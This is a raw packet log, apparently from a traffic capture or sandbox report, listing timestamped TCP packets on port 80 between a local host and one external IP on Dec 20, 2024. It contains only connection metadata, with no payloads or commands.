Dec 20, 2024 16:20:34.087996006 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.088326931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.088649988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.088747025 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.089452028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.089663982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.090111971 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.090503931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.090857029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.090933084 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.091636896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.092160940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.092284918 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.092767954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.093904018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.093939066 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.093971968 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.094114065 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.094213963 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.094930887 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.095268965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.095630884 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.096048117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.096198082 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.096297026 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.097141981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.097474098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.097543001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.098251104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.098768950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.098819017 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.099420071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.099594116 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.099647045 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.100450039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.100589991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.100678921 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.101634026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.101922035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.101994038 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.102669001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.102961063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.103025913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.103693962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.150101900 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.238092899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.238205910 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.238346100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.238524914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.238538027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.238733053 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.239641905 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.240261078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.240442991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.240736008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.240748882 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.240842104 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.241816998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.242141962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.242959976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.243014097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.243606091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.243685961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.244110107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.244183064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.244240046 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.245152950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.245698929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.245758057 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.246296883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.246653080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.247427940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.247505903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.247535944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.247575045 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.248574972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.248791933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.248977900 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.249531984 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.249838114 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.250642061 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.250696898 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.250881910 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.250948906 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.251701117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.251996040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.252388000 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.252860069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.252978086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.254031897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.254122019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.254127979 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.254167080 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.255177975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.255281925 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.256139040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.256205082 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.256331921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.257265091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.257324934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.257370949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.257438898 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.258358002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.258682013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.259531975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.259602070 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.259977102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.260040045 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.260623932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.261395931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.261537075 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.261733055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.261768103 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.262833118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.263034105 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.263225079 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.263334036 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.263868093 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.264008999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.264384985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.265007973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.265255928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.266108036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.266160965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.266212940 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.266212940 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.267147064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.267399073 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.268238068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.268296957 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.268949032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.269398928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.269536972 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.269644976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.269712925 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.270483971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.271327972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.271569967 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.271629095 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.271714926 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.271909952 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.272675037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.272823095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.272979975 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.273818970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.273931980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.274965048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.275074959 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.275374889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.275433064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.276072025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.276276112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.276403904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.277158976 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.277247906 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.278254986 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.278321028 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.278429031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.278534889 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.279356956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.279556990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.280383110 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.280431032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.280738115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.281598091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.281662941 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.281755924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.281816006 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.282666922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.283288956 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.283730984 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.283793926 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.283936977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.284010887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.284848928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.285274029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.285408020 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.285952091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.286221981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.287012100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.287166119 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.287353039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.287486076 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.288141966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.288409948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.289326906 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.289407969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.289489031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.289557934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.290337086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.290667057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.290834904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.291462898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.291894913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.292054892 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.292541027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.292835951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.292893887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.293636084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.294032097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.294845104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.294914007 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.295470953 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.295527935 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.295839071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.337536097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.430408001 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.430618048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.430723906 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.430951118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.431066036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.432051897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.432133913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.432254076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.432333946 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.433115005 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.433456898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.433562040 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.434196949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.434417009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.436022043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.436078072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.436089039 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.436139107 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.436353922 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.436783075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.436903954 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.437551975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.437669992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.438750029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.438839912 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.438991070 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.439066887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.439729929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.439881086 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.440402031 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.440854073 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.440890074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.441929102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.442018986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.442056894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.442111969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.443113089 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.443341017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.444211006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.444278002 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.444407940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.445262909 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.445353031 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.445931911 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.446003914 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.446368933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.446557999 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.447458029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.447561026 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.447597027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.447650909 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.448698044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.448982000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.449116945 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.449760914 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.450073004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.450774908 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.450900078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.450903893 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.450964928 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.451910019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.452088118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.452421904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.452990055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.453135014 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.454097033 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.454179049 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.454340935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.454392910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.455199003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.455744028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.456294060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.456388950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.456434965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.456513882 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.457387924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.457441092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.457520008 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.458532095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.459172964 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.459687948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.459774017 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.459836006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.459888935 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.460695982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.461265087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.461411953 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.461800098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.462094069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.462591887 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.463093996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.463385105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.464035988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.464127064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.464337111 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.465132952 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.465214014 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.465329885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.465414047 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.466279030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.466789007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.467510939 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.467546940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.467606068 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.467606068 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.468532085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.468708992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.468782902 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.469558954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.469723940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.470613003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.470691919 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.470714092 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.470729113 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.471700907 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.471714973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.471796036 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.472860098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.472996950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.473052025 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.474014997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.474611998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.475020885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.475177050 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.475357056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.475424051 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.476279020 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.476588964 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.477215052 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.477293968 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.477365017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.477755070 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.478374004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.478899002 CET	80	49717	185.215.113.16	192.168.2.11
